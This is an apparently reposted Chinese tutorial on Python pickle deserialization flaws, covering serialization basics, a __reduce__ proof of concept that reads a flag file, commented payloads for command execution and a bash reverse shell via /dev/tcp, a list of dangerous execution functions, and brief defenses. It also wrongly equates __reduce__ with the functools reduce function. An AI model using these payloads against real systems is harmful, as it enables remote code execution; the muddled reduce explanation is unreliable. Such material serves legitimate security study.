Python反序列化漏洞


1、什么是序列化

和php的序列化一樣,是把string,字典,數組,類這些數據當作字節儲存

2、pickle

pickle.dumps()和pickle.loads() 分別是序列化和反序列化
pickle.dump()和pickle.load是對文件的寫入

import pickle

x= 'cccccc'
y = [1,2,3,4]
z = {'name':'hzx','pass':'zzz'}
print(pickle.dumps(x))
print(pickle.dumps(y))
print(pickle.dumps(z))
print(pickle.dumps(x))
print(pickle.loads(b'\x80\x03X\x06\x00\x00\x00ccccccq\x00.'))
b'\x80\x03X\x06\x00\x00\x00ccccccq\x00.'
b'\x80\x03]q\x00(K\x01K\x02K\x03K\x04e.'
b'\x80\x03}q\x00(X\x04\x00\x00\x00nameq\x01X\x03\x00\x00\x00hzxq\x02X\x04\x00\x00\x00passq\x03X\x03\x00\x00\x00zzzq\x04u.'
b'\x80\x03X\x06\x00\x00\x00ccccccq\x00.'
cccccc
{'name': 'hzx', 'pass': 'zzz'}

3、存入到文件

import pickle
if __name__ == '__main__':
    filename = 'D://test'
    x = 'this'
    f = open(filename, 'wb')
    pickle.dump(x,f)
    f.close()

4、類的存儲

import pickle
class test(object):
    def __init__(self,user,password):
        self.user=user
        self.password=password
vstar=test('hzx',123456)
vstar_p=pickle.dumps(vstar)
print(vstar_p)
v=pickle.loads(vstar_p)
print(v.user)

5、漏洞本身

反序列化后產生的對象會在結束時觸發__reduce__()函數從而觸發惡意代碼。

reduce()函數:將一個數據集合(鏈表,元組等)中的所有數據進行下列操作:
用傳給 reduce 中的函數 function(有兩個參數)先對集合中的第 1、2 個元素進行操作,得到的結果再與第三個數據用 function 函數運算,最后得到一個結果。

reduce() 函數語法:

reduce(function, iterable[, initializer])

        function -- 函數,有兩個參數
        iterable -- 可迭代對象
        initializer -- 可選,初始參數

這個函數和php中的__wakeup很類似。可以理解成是一樣的;會在反序列化的時候執行;具體的內容請參考python的官方文檔庫;其實並不只是只有這一個函數;官方文檔里也說過pickle是個不安全的模塊,永遠別去反序列化不信任的數據;

import pickle
class test(object):
    def __init__(self,user,password):
        self.user=user
        self.password=password

    def __reduce__(self):
            return (eval, ("open('D://flag.txt','r').read()",)) //打開文件
            #return (__import__('os').system, ('calc.exe',)) //命令執行
            #return(os.system,("bash -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1'"))//反彈shell

vstar=test('hzx',123456)
vstar_p=pickle.dumps(vstar)
#print(vstar_p)
v=pickle.loads(vstar_p)
print(v)

#flag{this_is_flag}

常用的命令執行函數、代碼執行函數

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

6、防御方法

1、用更高級的接口__getnewargs()、getstate()、setstate()等代替reduce()魔術方法;

2、進行反序列化操作之前,進行嚴格的過濾,若采用的是pickle庫可采用裝飾器實現。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM